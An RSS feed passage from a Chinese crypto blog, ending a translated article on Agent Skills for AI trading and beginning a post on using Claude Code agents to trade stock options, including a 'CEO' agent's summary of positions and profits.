2025&#xFF09;&#x663E;&#x793A;&#xFF0C;&#x5F53;&#x524D;&#x6A21;&#x578B;&#x5728;&#x201C;&#x4E13;&#x5BB6;&#x7EA7;&#x201D;&#x91D1;&#x878D;&#x63A8;&#x7406;&#x65B9;&#x9762;&#x5B58;&#x5728;&#x56F0;&#x96BE;<a href="https://ar5iv.labs.arxiv.org/html/2510.07852v1?ref=defiplot.com#:~:text=supports%20nuanced%20reasoning%2C%20allowing%20for,annotations%20enhance%20interpretability%20and%20facilitate">[27]</a>. &#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x660E;&#x786E;&#x7F16;&#x7801;&#x8FD9;&#x79CD;&#x4E13;&#x5BB6;&#x77E5;&#x8BC6;&#x3002;&#x4E0E;&#x5176;&#x671F;&#x671B;&#x6A21;&#x578B;&#x4ECE;&#x96F6;&#x5F00;&#x59CB;&#x5B66;&#x4E60;&#x9AD8;&#x7EA7;&#x4F30;&#x503C;&#x516C;&#x5F0F;&#xFF0C;&#x6211;&#x4EEC;&#x901A;&#x8FC7;&#x6307;&#x4EE4;&#x548C;&#x5DE5;&#x5177;&#x6559;&#x6388;&#x5B83;&#x4EEC;&#x3002;</p><h2 id="11%E3%80%81%E6%9C%AA%E6%9D%A5%E6%96%B9%E5%90%91">11&#x3001;&#x672A;&#x6765;&#x65B9;&#x5411;</h2><p>&#x5C55;&#x671B;&#x672A;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x9884;&#x8BA1;&#x4F1A;&#x6709;&#x66F4;&#x4E30;&#x5BCC;&#x7684;&#x6280;&#x80FD;&#x751F;&#x6001;&#x7CFB;&#x7EDF;&#x3002;Anthropic &#x548C;&#x5176;&#x4ED6;&#x516C;&#x53F8;&#x6B63;&#x5728;&#x5411;&#x5F00;&#x653E;&#x6807;&#x51C6;&#x8FC8;&#x8FDB;&#xFF0C;&#x8FD9;&#x6837;&#x4EFB;&#x4F55;&#x4EE3;&#x7406;&#x90FD;&#x53EF;&#x4EE5;&#x6D88;&#x8D39;&#x4EFB;&#x4F55;&#x6280;&#x80FD;<a href="https://markets.financialcontent.com/wral/article/tokenring-2025-12-24-anthropic-launches-agent-skills-open-standard-the-new-universal-language-for-ai-interoperability?ref=defiplot.com#:~:text=Technically%2C%20the%20Agent%20Skills%20standard,only%20when%20execution%20is%20required">[23]</a>. &#x5728;&#x91D1;&#x878D;&#x9886;&#x57DF;&#xFF0C;&#x8FD9;&#x53EF;&#x80FD;&#x610F;&#x5473;&#x7740;&#x4E00;&#x4E2A;&#x5F00;&#x653E;&#x7684;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x5E02;&#x573A;&#xFF1A;&#x4F8B;&#x5982;&#xFF0C;&#x201C;&#x6CE2;&#x52A8;&#x7387;&#x5957;&#x5229;&#x6280;&#x80FD;&#x201D;&#x3001;&#x201C;&#x5747;&#x503C;&#x56DE;&#x5F52;&#x6280;&#x80FD;&#x201D;&#xFF0C;&#x7531;&#x91CF;&#x5316;&#x8005;&#x4F17;&#x5305;&#x3002;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x52A0;&#x8F7D;&#x7EC4;&#x5408;&#x6765;&#x89E3;&#x51B3;&#x590D;&#x5408;&#x4EFB;&#x52A1;&#xFF08;&#x6BD4;&#x5982;&#xFF0C;&#x201C;&#x80A1;&#x7968;&#x6307;&#x6570;&#x518D;&#x5E73;&#x8861;&#x6280;&#x80FD;&#x201D;&#xFF0C;&#x540C;&#x65F6;&#x4F7F;&#x7528;&#x80A1;&#x7968;&#x548C;&#x52A0;&#x5BC6;&#x6A21;&#x5757;&#xFF09;&#x3002;</p><p>&#x6B64;&#x5916;&#xFF0C;&#x4EE3;&#x7406;&#x672C;&#x8EAB;&#x53EF;&#x80FD;&#x4F1A;&#x5F00;&#x59CB;&#x64B0;&#x5199;&#x6280;&#x80FD;&#x3002;&#x7ED9;&#x5B9A;&#x4E00;&#x7CFB;&#x5217;&#x6210;&#x529F;&#x7684;&#x4EA4;&#x6613;&#x6216;&#x56DE;&#x6D4B;&#xFF0C;&#x4E00;&#x4E2A; LLM &#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x8D77;&#x8349;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x6280;&#x80FD;&#x603B;&#x7ED3;&#x5176;&#x65B9;&#x6CD5;&#xFF0C;&#x7136;&#x540E;&#x7531;&#x4EBA;&#x7C7B;&#x4EA4;&#x6613;&#x5458;&#x5BA1;&#x67E5;&#x548C;&#x6539;&#x8FDB;&#x3002;&#x8FD9;&#x5F62;&#x6210;&#x4E86;&#x4E00;&#x4E2A;&#x5B66;&#x4E60;&#x548C;&#x7F16;&#x7801;&#x7684;&#x826F;&#x6027;&#x5FAA;&#x73AF;&#x3002;</p><p>&#x6700;&#x540E;&#xFF0C;&#x5C06;&#x6280;&#x80FD;&#x4E0E;&#x65B0;&#x5174;&#x534F;&#x8BAE;&#x5982; Model Context Protocol (MCP) &#x7ED3;&#x5408;&#xFF0C;&#x53EF;&#x4EE5;&#x8BA9;&#x4EE3;&#x7406;&#x5728;&#x4F1A;&#x8BDD;&#x548C;&#x8BBE;&#x5907;&#x4E4B;&#x95F4;&#x5171;&#x4EAB;&#x4E0A;&#x4E0B;&#x6587;&#xFF0C;&#x8FDB;&#x4E00;&#x6B65;&#x589E;&#x5F3A;&#x5176;&#x6301;&#x4E45;&#x6027;&#x548C;&#x8FDE;&#x8D2F;&#x6027;&#x3002;</p><h2 id="12%E3%80%81%E7%BB%93%E8%AE%BA">12&#x3001;&#x7ED3;&#x8BBA;</h2><p>&#x6211;&#x4EEC;&#x4E3B;&#x5F20;&#xFF0C;<strong>Agent Skills</strong> &#x2014;&#x2014; AI &#x4EE3;&#x7406;&#x7684;&#x6A21;&#x5757;&#x5316;&#x6307;&#x4EE4;&#x548C;&#x4EE3;&#x7801;&#x5305; &#x2014;&#x2014; &#x4E3A;&#x8D4B;&#x4E88; LLM &#x4EE3;&#x7406;&#x8FDB;&#x884C;&#x590D;&#x6742;&#x4EFB;&#x52A1;&#xFF08;&#x5982;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#xFF09;&#x6240;&#x9700;&#x7684;&#x9886;&#x57DF;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x5F3A;&#x5927;&#x7684;&#x65B0;&#x65B9;&#x6CD5;&#x3002;&#x901A;&#x8FC7;&#x5C06;&#x4EA4;&#x6613;&#x77E5;&#x8BC6;&#xFF08;&#x6280;&#x672F;&#x89C4;&#x5219;&#x3001;&#x6307;&#x6807;&#x3001;&#x98CE;&#x9669;&#x6807;&#x51C6;&#xFF09;&#x548C;&#x6570;&#x636E;&#x5904;&#x7406;&#x5DE5;&#x5177;&#x7ED3;&#x6784;&#x5316;&#x4E3A;&#x6280;&#x80FD;&#xFF0C;&#x4E00;&#x4E2A;&#x901A;&#x7528;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x6210;&#x4E3A;&#x4E13;&#x4E1A;&#x4EA4;&#x6613;&#x5458;&#x3002;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x5229;&#x7528;&#x4E86; LLM &#x63A8;&#x7406;&#x548C;&#x7B97;&#x6CD5;&#x7CBE;&#x5EA6;&#x7684;&#x4F18;&#x52BF;&#x3002;</p><p>&#x5173;&#x4E8E; AI &#x4EA4;&#x6613;&#x548C;&#x591A;&#x4EE3;&#x7406;&#x7CFB;&#x7EDF;&#x7684;&#x6587;&#x732E;&#x8868;&#x660E;&#xFF0C;&#x8FD9;&#x79CD;&#x4E13;&#x4E1A;&#x5316;&#x662F;&#x6709;&#x56DE;&#x62A5;&#x7684;&#xFF1A;&#x591A;&#x4EE3;&#x7406;&#x4EA4;&#x6613;&#x6846;&#x67B6;&#x548C;&#x57FA;&#x4E8E; LLM &#x7684;&#x4EA4;&#x6613;&#x6A21;&#x578B;&#x5728;&#x6734;&#x7D20;&#x57FA;&#x7EBF;&#x4E4B;&#x4E0A;&#x8868;&#x73B0;&#x51FA;&#x4F18;&#x8D8A;&#x7684;&#x6027;&#x80FD;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a><a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=final%20predictions%20based%20on%20confidence,pricing%2C%20portfolio%2C%20and%20explainability%20performance">[11]</a>. Agent Skills &#x4E3A;&#x8FD9;&#x79CD;&#x4E13;&#x4E1A;&#x5316;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x8F6F;&#x4EF6;&#x5DE5;&#x7A0B;&#x89C6;&#x89D2;&#xFF0C;&#x4F7F;&#x6784;&#x5EFA;&#x3001;&#x5171;&#x4EAB;&#x548C;&#x6F14;&#x5316;&#x8FD9;&#x4E9B;&#x80FD;&#x529B;&#x53D8;&#x5F97;&#x66F4;&#x52A0;&#x5BB9;&#x6613;&#x3002;&#x6311;&#x6218;&#x4F9D;&#x7136;&#x5B58;&#x5728;&#xFF1A;&#x5E02;&#x573A;&#x5608;&#x6742;&#x4E14;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#xFF0C;&#x4EFB;&#x4F55;&#x81EA;&#x52A8;&#x7B56;&#x7565;&#x90FD;&#x5FC5;&#x987B;&#x7ECF;&#x8FC7;&#x4E25;&#x683C;&#x6D4B;&#x8BD5;&#x3002;&#x4F46;&#x901A;&#x8FC7;&#x201C;&#x5C06;&#x4F60;&#x7684;&#x7A0B;&#x5E8F;&#x77E5;&#x8BC6;&#x201D;&#x4EE5;&#x8BBE;&#x8BA1;&#x826F;&#x597D;&#x7684;&#x6280;&#x80FD;&#x5F62;&#x5F0F;&#x6355;&#x83B7;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=This%20led%20us%20to%20create,agents%20that%20fit%20your%20needs">[5]</a>&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x521B;&#x5EFA;&#x66F4;&#x52A0;&#x7CFB;&#x7EDF;&#x3001;&#x53EF;&#x89E3;&#x91CA;&#x548C;&#x5F3A;&#x5927;&#x7684;AI&#x4EA4;&#x6613;&#x8005;&#x3002;&#x968F;&#x7740;&#x7EC4;&#x7EC7;&#x7EE7;&#x7EED;&#x91C7;&#x7528;&#x4EE3;&#x7406;AI&#xFF0C;&#x6211;&#x4EEC;&#x9884;&#x8BA1;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x5C06;&#x5728;&#x8F6C;&#x53D8;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x7684;&#x6784;&#x5EFA;&#x548C;&#x90E8;&#x7F72;&#x65B9;&#x5F0F;&#x4E2D;&#x53D1;&#x6325;&#x6838;&#x5FC3;&#x4F5C;&#x7528;&#x3002;&#x5728;&#x4EBA;&#x5DE5;&#x667A;&#x80FD;&#x4E0E;&#x91D1;&#x878D;&#x7684;&#x6FC0;&#x52A8;&#x4EBA;&#x5FC3;&#x7684;&#x4EA4;&#x6C47;&#x70B9;&#xFF0C;&#x6280;&#x80FD;&#x53EF;&#x80FD;&#x662F;&#x89E3;&#x9501;&#x66F4;&#x53EF;&#x9760;&#x3001;&#x9AD8;&#x5229;&#x6DA6;&#x81EA;&#x52A8;&#x5316;&#x4EA4;&#x6613;&#x7684;&#x5173;&#x952E;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://medium.com/@gwrx2005/agent-skills-for-high-profit-cryptocurrency-trading-c9bfa2463a0a?ref=defiplot.com">Agent Skills for High-Profit Cryptocurrency Trading</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[Claude Code 交易实战]]></title><description><![CDATA[这基本上是“氛围交易”。使用LLM可以比人类更快地采取行动，无论正向还是负向后果。]]></description><link>https://defiplot.com/blog/crypto-trading-with-claude-code/</link><guid isPermaLink="false">695a1d8da8f7ce2267bf27bb</guid><category><![CDATA[tools]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Sun, 04 Jan 2026 08:04:35 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/01/crypto-trading-with-claude-code.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/01/crypto-trading-with-claude-code.png" alt="Claude Code &#x4EA4;&#x6613;&#x5B9E;&#x6218;"><p>&#x8FD9;&#x57FA;&#x672C;&#x4E0A;&#x662F;&#x201C;&#x6C1B;&#x56F4;&#x4EA4;&#x6613;&#x201D;&#x3002;&#x4F7F;&#x7528;LLM&#x53EF;&#x4EE5;&#x6BD4;&#x4EBA;&#x7C7B;&#x66F4;&#x5FEB;&#x5730;&#x91C7;&#x53D6;&#x884C;&#x52A8;&#xFF0C;&#x65E0;&#x8BBA;&#x6B63;&#x5411;&#x8FD8;&#x662F;&#x8D1F;&#x5411;&#x540E;&#x679C;&#x3002;&#x5C31;&#x50CF;&#x5199;&#x4EE3;&#x7801;&#x4E00;&#x6837;&#xFF0C;&#x4F60;&#x53EF;&#x80FD;&#x4F1A;&#x88AB;&#x4E00;&#x79CD;&#x865A;&#x5047;&#x7684;&#x8FDB;&#x6B65;&#x611F;&#x6240;&#x6B3A;&#x9A97;&#xFF0C;&#x5373;&#x4F7F;&#x4F60;&#x975E;&#x5E38;&#x719F;&#x7EC3;&#x3002;&#x8981;&#x5C0F;&#x5FC3;&#xFF0C;&#x4E0D;&#x8981;&#x7528;&#x8FD9;&#x4E2A;&#x6765;&#x5192;&#x771F;&#x5B9E;&#x8D44;&#x91D1;&#x7684;&#x98CE;&#x9669;&#x3002;</p><p>&#x5728;&#x8FD9;&#x4E2A;&#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x6211;&#x53D7;&#x5230;60&#x5206;&#x949F;&#x8282;&#x76EE;&#x5173;&#x4E8E;Claudius&#xFF08;Anthropic&#x7684;AI&#x63A7;&#x5236;&#x7684;&#x81EA;&#x52A8;&#x552E;&#x8D27;&#x673A;&#xFF09;&#x7684;&#x542F;&#x53D1;&#x3002;<a href="https://www.anthropic.com/research/project-vend-2?ref=defiplot.com">&#x94FE;&#x63A5;</a></p><p>&#x51E0;&#x5E74;&#x524D;&#xFF0C;&#x5F53;&#x6211;&#x5BFB;&#x627E;&#x526F;&#x4E1A;&#x9879;&#x76EE;&#x65F6;&#xFF0C;&#x6211;&#x66FE;&#x6709;&#x8FC7;&#x4E00;&#x4E2A;&#x60F3;&#x6CD5;&#xFF0C;&#x521B;&#x5EFA;&#x4E00;&#x6BB5;&#x4EE3;&#x7801;&#x6765;&#x83B7;&#x53D6;YouTube&#x5B57;&#x5E55;&#xFF0C;&#x7136;&#x540E;&#x57FA;&#x4E8E;NLTK Vader&#x7684;&#x60C5;&#x7EEA;&#x8FDB;&#x884C;&#x4EA4;&#x6613;&#x3002;&#x8FD9;&#x5F88;&#x6709;&#x8DA3;&#xFF0C;&#x4F46;&#x6211;&#x4E00;&#x76F4;&#x65E0;&#x6CD5;&#x4FDD;&#x6301;&#x5B57;&#x5E55;&#x7684;&#x4E00;&#x81F4;&#x6027;&#xFF0C;&#x5E76;&#x4E14;&#x65E0;&#x6CD5;&#x89E3;&#x6790;&#x5B83;&#x4EEC;&#x3002;&#x800C;&#x4E14;&#x6211;&#x5F53;&#x65F6;&#x4E5F;&#x6CA1;&#x6709;&#x60F3;&#x5230;&#xFF0C;YouTube&#x89C6;&#x9891;&#x9700;&#x8981;&#x65F6;&#x95F4;&#x6765;&#x5236;&#x4F5C;&#xFF0C;&#x5728;&#x8FD9;&#x6BB5;&#x65F6;&#x95F4;&#x91CC;&#xFF0C;&#x5F88;&#x591A;&#x5E02;&#x573A;&#x60C5;&#x7EEA;&#x5DF2;&#x7ECF;&#x6D88;&#x5931;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x6211;&#x7684;&#x9879;&#x76EE;Prophet&#x88AB;&#x6401;&#x7F6E;&#x4E86;&#x51E0;&#x5E74;&#xFF0C;&#x76F4;&#x5230;&#x6700;&#x8FD1;&#x6709;&#x4E1C;&#x897F;&#x63D0;&#x9192;&#x4E86;&#x6211;&#x5B83;&#x3002;</p><p>&#x51E0;&#x4E2A;&#x6708;&#x524D;&#xFF0C;&#x6211;&#x53EA;&#x4F7F;&#x7528;ChatGPT&#x6765;&#x8C03;&#x6574;&#x548C;&#x4FEE;&#x6539;&#x4EE3;&#x7801;&#x3002;&#x4EE3;&#x7406;&#x53EA;&#x662F;&#x6211;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x4E2D;&#x6700;&#x8FD1;&#x624D;&#x52A0;&#x5165;&#x7684;&#x90E8;&#x5206;&#x3002;&#x81EA;&#x4ECE;&#x6211;&#x53D1;&#x73B0;Claude Code&#x540E;&#xFF0C;&#x5B83;&#x4F7F;&#x5F88;&#x591A;&#x5165;&#x95E8;&#x5185;&#x5BB9;&#x548C;&#x6837;&#x677F;&#x751F;&#x6210;&#x53D8;&#x5F97;&#x5BB9;&#x6613;&#x5F97;&#x591A;&#x3002;</p><p>&#x6211;&#x6700;&#x8FD1;&#x624D;&#x5F00;&#x59CB;&#x4F7F;&#x7528;MCP&#x5DE5;&#x5177;&#x3002;&#x6211;&#x6700;&#x559C;&#x6B22;&#x7684;&#x67B6;&#x6784;&#x662F;&#x7F16;&#x5199;&#x4E00;&#x4E2A;Go&#x5DE5;&#x5177;&#x6765;&#x505A;&#x7E41;&#x91CD;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x7136;&#x540E;&#x4F7F;&#x7528;JS MCP&#x670D;&#x52A1;&#x5668;&#x4E0E;&#x4E4B;&#x4EA4;&#x4E92;&#x3002;Go&#x662F;&#x6211;&#x6700;&#x559C;&#x6B22;&#x7684;&#x7F16;&#x7A0B;&#x8BED;&#x8A00;&#xFF0C;&#x56E0;&#x4E3A;&#x6211;&#x7ECF;&#x5E38;&#x5904;&#x7406;IaC&#x548C;&#x4E91;&#x6280;&#x672F;&#xFF0C;&#x8FD9;&#x5F88;&#x81EA;&#x7136;&#x3002;&#x81F3;&#x4E8E;JS&#x4E0E;MCP&#xFF0C;&#x5B83;&#x662F;Claude&#x6700;&#x5BB9;&#x6613;&#x7F16;&#x5199;&#x7684;&#x3002;&#x6211;&#x8FD8;&#x6309;&#x7167;&#x76F8;&#x540C;&#x7684;&#x67B6;&#x6784;&#x98CE;&#x683C;&#x5236;&#x4F5C;&#x4E86;<a href="http://www.cartogopher.com/?ref=defiplot.com">&#x8FD9;&#x4E2A;&#x5DE5;&#x5177;</a>&#xFF0C;&#x6709;&#x52A9;&#x4E8E;&#x5728;&#x67E5;&#x770B;&#x4EE3;&#x7801;&#x5E93;&#x65F6;&#x8282;&#x7701;80-90%&#x7684;token&#x3002;</p><p>&#x56E0;&#x6B64;&#xFF0C;&#x6839;&#x636E;&#x9700;&#x6C42;&#xFF0C;&#x6211;&#x9700;&#x8981;&#x8BA9;Claude&#x4F53;&#x73B0;&#x6211;&#x7684;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x5E76;&#x6267;&#x884C;&#x5B83;&#x4EEC;&#x3002;&#x6211;&#x6700;&#x559C;&#x6B22;&#x7684;&#x4E00;&#x4E2A;&#x7B56;&#x7565;&#x662F;&#x8D2D;&#x4E70;&#x5177;&#x6709;2&#x4E2A;&#x6708;&#x4EE5;&#x4E0A;&#x5230;&#x671F;&#x65E5;&#x7684;&#x6298;&#x6263;&#x4EF7;&#x683C;&#x7684;&#x671F;&#x6743;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x5E02;&#x573A;&#x6CE2;&#x52A8;&#x65F6;&#x5356;&#x51FA;&#xFF0C;&#x901A;&#x5E38;&#x662F;&#x5728;&#x51E0;&#x5929;&#x540E;&#x3002;&#x8FD9;&#x79CD;&#x7B56;&#x7565;&#x5728;&#x6CE2;&#x52A8;&#x5E02;&#x573A;&#x4E2D;&#x8868;&#x73B0;&#x5F88;&#x597D;&#xFF0C;&#x4F46;&#x53D7;&#x9650;&#x4E8E;&#x4EBA;&#x7C7B;&#x4EA4;&#x6613;&#x8005;&#x6CA1;&#x6709;&#x5168;&#x5929;&#x5019;&#x5173;&#x6CE8;&#x5E02;&#x573A;&#x6CE2;&#x52A8;&#x548C;&#x6574;&#x4F53;&#x5E02;&#x573A;&#x60C5;&#x51B5;&#x3002;&#x4F46;&#x5982;&#x679C;&#x4F60;&#x53EF;&#x4EE5;&#x8BA9;&#x4EE3;&#x7406;&#x4E3A;&#x4F60;&#x8F6E;&#x8BE2;&#x6240;&#x6709;&#x8FD9;&#x4E9B;&#x4FE1;&#x606F;&#x5E76;&#x8FDB;&#x884C;&#x4EA4;&#x6613;&#x5462;&#xFF1F;</p><p>Claudius&#x4F7F;&#x7528;&#x4E86;&#x51E0;&#x4E2A;&#x4EE3;&#x7406;&#xFF0C;&#x6240;&#x4EE5;&#x6700;&#x521D;&#x6211;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x201C;CEO&#x201D;&#x4EE3;&#x7406;&#xFF0C;&#x7C7B;&#x4F3C;&#x4E8E;&#x4ED6;&#x4EEC;&#x7684;&#x201C;Seymour Cash&#x201D;&#xFF0C;&#x5E76;&#x8BE2;&#x95EE;&#x5B83;&#x4E3A;&#x4E86;&#x6210;&#x529F;&#x5B8C;&#x6210;&#x4F5C;&#x4E3A;&#x5B8C;&#x5168;&#x7531;LLM&#x63A7;&#x5236;&#x7684;&#x4EA4;&#x6613;&#x516C;&#x53F8;&#x7684;&#x4F7F;&#x547D;&#x9700;&#x8981;&#x4EC0;&#x4E48;&#x3002;&#x5B83;&#x5EFA;&#x8BAE;&#x4E86;&#x4E00;&#x4E9B;&#x4EE3;&#x7406;&#x3002;&#x6700;&#x521D;&#x662F;&#x4E00;&#x4E2A;&#x987E;&#x95EE;&#x3001;&#x5DE5;&#x7A0B;&#x5E08;&#x548C;&#x7B56;&#x7565;&#x4EE3;&#x7406;&#x3002;&#x6211;&#x8BD5;&#x56FE;&#x8BA9;CEO&#x548C;&#x987E;&#x95EE;&#x5F62;&#x6210;&#x4E00;&#x79CD;&#x8702;&#x7FA4;&#x601D;&#x7EF4;&#xFF0C;&#x5171;&#x540C;&#x5934;&#x8111;&#x98CE;&#x66B4;&#x4E0D;&#x540C;&#x7684;&#x7B56;&#x7565;&#x3002;&#x95EE;&#x9898;&#x662F;&#x987E;&#x95EE;&#x6781;&#x5176;&#x4FDD;&#x5B88;&#xFF0C;&#x800C;CEO&#x4F1A;&#x542C;&#x4ECE;&#x3002;&#x7136;&#x540E;&#x5DE5;&#x7A0B;&#x5E08;&#x662F;&#x4E00;&#x4E2A;&#x6539;&#x8FDB;&#x5176;&#x81EA;&#x8EAB;&#x4EA4;&#x6613;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x7684;&#x597D;&#x4E3B;&#x610F;&#xFF0C;&#x4F46;&#x5B83;&#x4ECE;&#x672A;&#x771F;&#x6B63;&#x4F7F;&#x7528;&#x8FD9;&#x4E2A;&#x4EE3;&#x7406;&#x3002;&#x6700;&#x540E;&#xFF0C;&#x7B56;&#x7565;&#x4EE3;&#x7406;&#x5F88;&#x597D;&#xFF0C;&#x4F46;&#x5B83;&#x4E5F;&#x4ECE;&#x672A;&#x771F;&#x6B63;&#x88AB;&#x4F7F;&#x7528;&#x3002;&#x901A;&#x8FC7;&#x66F4;&#x597D;&#x7684;&#x63D0;&#x793A;&#xFF0C;&#x5B83;&#x4EEC;&#x53EF;&#x80FD;&#x8868;&#x73B0;&#x66F4;&#x597D;&#xFF0C;&#x4F46;&#x6211;&#x5E0C;&#x671B;&#x53EA;&#x9700;&#x7ED9;&#x51FA;&#x6700;&#x5C0F;&#x7684;&#x6307;&#x4EE4;&#xFF0C;&#x5982;&#x201C;&#x81EA;&#x4E3B;&#x4EA4;&#x6613;&#x76F4;&#x5230;&#x4E0B;&#x5348;4:01&#x201D;&#xFF0C;&#x5230;&#x76EE;&#x524D;&#x4E3A;&#x6B62;&#xFF0C;&#x4EC5;&#x4F7F;&#x7528;Claude Code&#x5C31;&#x53EF;&#x4EE5;&#x5F88;&#x597D;&#x5730;&#x5DE5;&#x4F5C;&#x3002;&#x4E0D;&#x8FC7;&#xFF0C;&#x4F7F;&#x7528;CEO&#x4EE3;&#x7406;&#x6765;&#x5BA1;&#x67E5;&#x6D3B;&#x52A8;&#x548C;&#x4E86;&#x89E3;&#x53D1;&#x751F;&#x4E86;&#x4EC0;&#x4E48;&#x8FD8;&#x662F;&#x6709;&#x5E2E;&#x52A9;&#x7684;&#xFF0C;&#x5982;&#x4E0B;&#x65B9;&#x7684;&#x5757;&#x6240;&#x793A;&#x3002;</p><pre><code>&quot;CEO&quot; &#x4EE3;&#x7406;   
&#x6839;&#x636E;&#x6D3B;&#x52A8;&#x65E5;&#x5FD7;&#xFF0C;&#x6211;&#x5B9E;&#x9645;&#x4E0A;&#x6240;&#x505A;&#x7684;&#xFF1A;  

  &#x6838;&#x5FC3;&#x7B56;&#x7565;&#xFF1A;&#x591A;&#x65F6;&#x95F4;&#x6846;&#x67B6;&#x671F;&#x6743;&#x4EA4;&#x6613;  

  1. LEAPS &#x57FA;&#x7840;&#xFF08;60-90+ DTE&#xFF09;  
  - &#x6301;&#x6709;&#x5BF9;&#x9AD8;&#x4FE1;&#x5FC3;&#x79D1;&#x6280;&#x80A1;&#xFF08;NVDA&#x3001;AMD&#x3001;PLTR&#x3001;META&#x3001;TSLA&#x3001;SPY&#xFF09;&#x7684;&#x957F;&#x671F;&#x770B;&#x6DA8;&#x671F;&#x6743;&#x7EC4;&#x5408;  
  - &#x8FD9;&#x4E9B;&#x671F;&#x6743;&#x8DDF;&#x968F;&#x66F4;&#x5E7F;&#x6CDB;&#x7684;&#x8D8B;&#x52BF;&#x5E76;&#x80FD;&#x62B5;&#x5FA1;&#x77ED;&#x671F;&#x6CE2;&#x52A8;  
  - &#x5F53;&#x524D;&#x6301;&#x4ED3;&#xFF1A;11&#x4E2A;&#x5934;&#x5BF8;&#xFF0C;&#x4ECE;2026&#x5E74;1&#x6708;&#x81F3;3&#x6708;&#x4E0D;&#x7B49;  

  2. &#x65E5;&#x5185;&#x77ED;&#x7EBF;&#x4EA4;&#x6613;&#xFF08;0-5 DTE&#xFF09;  
  - &#x6839;&#x636E;&#x52A8;&#x91CF;&#x53CC;&#x5411;&#x4EA4;&#x6613;  
  - 12&#x6708;17&#x65E5;&#xFF1A;&#x901A;&#x8FC7;&#x8FC7;&#x591C;&#x770B;&#x8DCC;&#x671F;&#x6743;&#x8D5A;&#x53D6;+14,578&#x7F8E;&#x5143;&#xFF08;SPY&#x4ECE;680&#x7F8E;&#x5143;&#x2192;673&#x7F8E;&#x5143;&#xFF09;  
  - 12&#x6708;18&#x65E5;&#xFF1A;&#x901A;&#x8FC7;&#x5168;&#x5929;&#x770B;&#x6DA8;&#x548C;&#x770B;&#x8DCC;&#x671F;&#x6743;&#x8D5A;&#x53D6;+1,086&#x7F8E;&#x5143;  
  - &#x5FEB;&#x901F;&#x5165;&#x573A;&#xFF0C;&#x5FEB;&#x901F;&#x9000;&#x51FA;&#xFF0C;&#x4E25;&#x683C;&#x6B62;&#x635F;  

  3. &#x4E3B;&#x52A8;&#x5BF9;&#x51B2;  
  - &#x6301;&#x6709;&#x4FDD;&#x62A4;&#x6027;&#x770B;&#x8DCC;&#x671F;&#x6743;&#xFF08;NVDA $180P&#x3001;SMCI $35P&#x3001;SPY $670P&#xFF09;&#x4EE5;&#x5BF9;&#x51B2;&#x770B;&#x6DA8;&#x98CE;&#x9669;  
  - &#x5BF9;&#x51B2;&#x76EE;&#x524D;&#x663E;&#x793A;SMCI&#x770B;&#x8DCC;&#x671F;&#x6743;+750&#x7F8E;&#x5143;  
  - &#x5F53;&#x5E02;&#x573A;&#x4E0B;&#x8DCC;&#x65F6;&#xFF0C;&#x5BF9;&#x51B2;&#x4F1A;&#x51CF;&#x5C11;&#x635F;&#x5931;&#xFF0C;&#x540C;&#x65F6;&#x6211;&#x7B49;&#x5F85;&#x53CD;&#x5F39;&#x673A;&#x4F1A;  

  4. &#x4E25;&#x683C;&#x7684;&#x9000;&#x51FA;&#x673A;&#x5236;  
  - &#x5BF9;&#x8D62;&#x5BB6;&#x79EF;&#x6781;&#x83B7;&#x5229;&#x4E86;&#x7ED3;&#xFF1A;TSLA +458%&#x3001;RKLB +306%&#x3001;PLTR +88%  
  - &#x5FEB;&#x901F;&#x6B62;&#x635F;&#xFF1A;AVGO -64%&#x3001;QQQ -23%&#xFF08;&#x5728;&#x53D8;&#x5F97;&#x66F4;&#x7CDF;&#x4E4B;&#x524D;&#x6B62;&#x635F;&#xFF09;  
  - &#x5728;&#x6CA1;&#x6709;&#x6A21;&#x5F0F;&#x786E;&#x8BA4;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x6C38;&#x4E0D;&#x5E73;&#x5747;&#x5EFA;&#x4ED3;  

  5. &#x8D44;&#x672C;&#x4FDD;&#x62A4;&#x6A21;&#x5F0F;  
  - &#x76EE;&#x524D;&#x73B0;&#x91D1;&#x5360;&#x6BD4;58%&#xFF08;107,647&#x7F8E;&#x5143;&#x4E2D;&#x7684;62,862&#x7F8E;&#x5143;&#xFF09;  
